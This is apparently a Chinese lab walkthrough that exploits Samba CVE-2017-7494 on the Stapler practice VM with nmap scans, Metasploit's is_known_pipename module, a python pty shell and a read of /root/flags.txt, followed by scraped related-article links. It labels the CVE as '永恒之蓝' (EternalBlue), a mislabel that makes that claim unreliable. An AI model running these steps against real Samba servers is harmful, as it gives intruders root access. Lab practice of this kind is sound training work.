Defense:SMB协议漏洞利用与控制CVE-2017-7494("永恒之蓝")攻防实验
漏洞描述
1. 服务器打开了文件/打印机共享端口445,让其能够在公网上访问
2. 共享文件拥有写入权限
3. 恶意攻击者需猜解Samba服务端共享目录的物理路径
Samba是在Linux和UNIX系统上实现SMB协议的一个软件。2017年5月24日Samba发布了4.6.4版本,修复了一个严重的远程代码执行漏洞,漏洞编号CVE-2017-7494,漏洞影响了Samba 3.5.0 和包括4.6.4/4.5.10/4.4.14中间的版本。攻击者可以利用客户端将指定库文件上传到具有可写权限的共享目录,使服务器加载并执行它。只需要一个可写入的Samba用户权限就可以利用该漏洞以root身份执行任意代码。
实验环境
https://pan.baidu.com/s/1AMd3BwbNjibv0TIcJjAFMw 靶机环境
靶机环境:Stapler.zip中包含虚拟机导入文件,请使用virtual-box加载启动。环境中有CVE-2017-7494相应的漏洞。(网卡模式设置为NAT模式或Bridge【桥接】模式--和攻击环境设置一样的模式即可)
攻击环境:Kali-linxu,使用virtual-box启动。(网卡模式设置为NAT模式或Bridge【桥接】模式--和靶机环境设置一样的模式即可)
实验目的:读取靶机环境中的/root/flags.txt文件
说明:靶机环境和攻击环境为两台虚拟机,启动并保证两台机器互联互通。
实验步骤
一、 Ka li Linux内通过Nmap或netdiscover扫描同网段其他主机
#假设网段为 192.168.1.0
sudo nmap -sP -PI -PT 192.168.1.0/24

二、使用Nmap工具扫描目标IP地址,发现其开放端口
#扫描目标IP地址
nmap -sV 192.168.60.50

Kali 启动metasploit服务
kali linux 2.0 本身已内置metasploit,kali 2.0 已经没有metasploit 这个服务了,所以service metasploit start 的方式不起作用。
kali 2.0中启动带数据库支持的msf方式
#首先启动postgresql数据库
/etc/init.d/postgresql start;
或者
service postgresql start; #初始化MSF数据库(关键步骤!)
msfdb init; #运行msfconsole
msfconsole; #在msf中查看数据库连接状态
db_status #将postgresql数据库设置开机自启
update-rc.d postgresql enable
漏洞利用过程
在msfconsole使用 search 命令搜索CVE-2017-7494相关攻击模块
#搜索CVE-2017-7494攻击模块
search 2017-7494

可以看到 exploit/linux/samba/is_known_pipename 攻击模块
加载攻击模块
#加载攻击模块
use exploit/linux/samba/is_known_pipename

查看攻击模块中需要配置的参数
#查看需要设置的参数
show options

RHOST代表要攻击的目标IP地址
RPORT代表攻击目标的端口号
设置参数进行攻击
#设置攻击目标的IP
set rhost 192.168.60.50 #设置攻击目标的端口
set rport 445
#开始攻击
exploit
或
run


获取命令行交互窗口
使用python脚本获得交互命令行窗口
#获取命令行交互窗口
python -c "import pty; pty.spawn('/bin/bash')"
或
python3 -c 'import pty;pty.spawn("/bin/bash")'
获取目标文件
#获取查看目标文件
cat /root/flags.txt

完成攻击实验测试!!
Defense:SMB协议漏洞利用与控制CVE-2017-7494("永恒之蓝")攻防实验的更多相关文章
- CVE-2019-0708_RDP漏洞利用
可以说是2019年影响比较大的一个漏洞了, 简述下这个漏洞: Windows系列服务器于2019年5月15号,被爆出高危漏洞,该漏洞影响范围较广如: windows2003.windows2008.w ...
- 永恒之蓝ms17_010漏洞复现
1.什么是永恒之蓝 永恒之蓝(Eternal Blue)爆发于2017年4月14日晚,是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机. 2.SMB协议 SM ...
- EternalBlue永恒之蓝漏洞复现
EternalBlue漏洞复现 1. 实训目的 永恒之蓝(EternalBlue)是由美国国家安全局开发的漏洞利用程序,对应微软漏洞编号ms17-010.该漏洞利用工具由一个名为”影子经济人”( ...
- “永恒之蓝"漏洞的紧急应对--毕业生必看
早上6点多起床了,第一次起这么早,昨天晚上12点多,看到了一则紧急通知,勒索软件通过微软"永恒之蓝"漏洞针对教育网进行了大规模的攻击,而且有很多同学中招.中招后的结果如下图所示. ...
- Metasploit(msf)利用ms17_010(永恒之蓝)出现Encoding::UndefinedConversionError问题
Metasploit利用ms17_010(永恒之蓝) 利用流程 先确保目标靶机和kali处于同一网段,可以互相Ping通 目标靶机防火墙关闭,开启了445端口 输入search ms17_010 搜索 ...
- SMB协议利用之ms17-010-永恒之蓝漏洞抓包分析SMB协议
SMB协议利用之ms17-010-永恒之蓝漏洞抓包分析SMB协议 实验环境: Kali msf以及wireshark Win7开启网络共享(SMB协议) 实验步骤: 1.查看本机数据库是否开启,发现数 ...
- php伪协议,利用文件包含漏洞
php支持多种封装协议,这些协议常被CTF出题中与文件包含漏洞结合,这里做个小总结.实验用的是DVWA平台,low级别,phpstudy中的设置为5.4.45版本, 设置allow_url_fopen ...
- SMB溢出漏洞所需的SMB协议内容
来一张wireshark抓下的SMB包,再解读一下. 一个包的内容有 网卡 IPV4 TCP NetBIOS SMB SMB header SMB Command: xxx Error class: ...
- Windows漏洞利用 ms17-010
漏洞名称 SMB 远程命令执行漏洞(ms17-010) 漏洞描述 继2016年 8 月份黑客组织 Shadow Brokers 放出第一批 NSA “方程式小组”内部黑客工具后,2017 年 4 月 ...
随机推荐
- pgrep cron
# pgrep cron947[root@localhost cron]# pgrep --help Usage: pgrep [options] <pattern> Options: - ...
- hugboy源库
=[个人整理的一些源库,均来自网络]= -[Ubuntu]- #阿里源 Ubuntu 20.04 deb http://mirrors.aliyun.com/ubuntu/ focal main re ...
- docker部署harbor私有镜像库(3)
一.harbor介绍 在实际生产运维中,往往需要把镜像发布到几十.上百台或更多的节点上.这时单台Docker主机上镜像已无法满足,项目越来越多,镜像就越来越多,都放到一台Docker主机上是不行的,我 ...
- 043.Python线程基本介绍
一 线程的基本概念 1.1 进程和线程 进程是资源分配的最小单位 线程是计算机中调度的最小单位 进程池: 开启过多的进程并不一走提高你的效率, 如果cp负载任务过多,平均单个任务执行的效率就会低,反而 ...
- Centos7 vsftpd虚拟用户权限控制(vsftpd虚拟用户限制IP访问)
实验目标:(新增限制虚拟机用户登陆的IP) 实现在同一跟目录下对admin,upload,download三个虚拟用户的不同权限的控制.具体权限控制列表如下: 用户名 权限说明 admin 管理员,可 ...
- 安装oracle 时“[INS-30014]无法检查指定的位置是否位于 CFS上”问题
错误截图: 错误信息: [INS-30014]无法检查指定的位置是否位于 CFS上 解决方案: 通过修改hosts文件,向C:\Windows\System32\drivers\etc\hosts文件 ...
- teprunner测试平台定时任务这次终于稳了
teprunner测试平台已经有一个多月没有更新了,主要原因是定时任务不够稳定,经过反复试错,找到了解决办法,这次终于稳定了. 本文开发内容 作为测试平台而言,定时任务算是必备要素了,只有跑起来的自动 ...
- Python+Selenium学习笔记17 - HTML测试报告
运行少量case时 1 # coding = utf-8 2 3 from selenium import webdriver 4 import unittest 5 import time 6 fr ...
- Spring的controller接受Date类型数据,接受枚举类型数据
1. Controller接收Date类型的数据 核心使用@DateTimeFormat(pattern = "yyyy-MM-dd HH:mm:ss") 来将传递过来的时间字符串 ...
- jmeter+ant+jenkins框架搭建问题
工具介绍: jmeter 接口编写,调试,执行. ant Ant是Java的生成工具,都是用来编译.生成:Ant的主要目的就是把你想做的事情自动化,不用你手动一步一步做,因为里面内置了java ...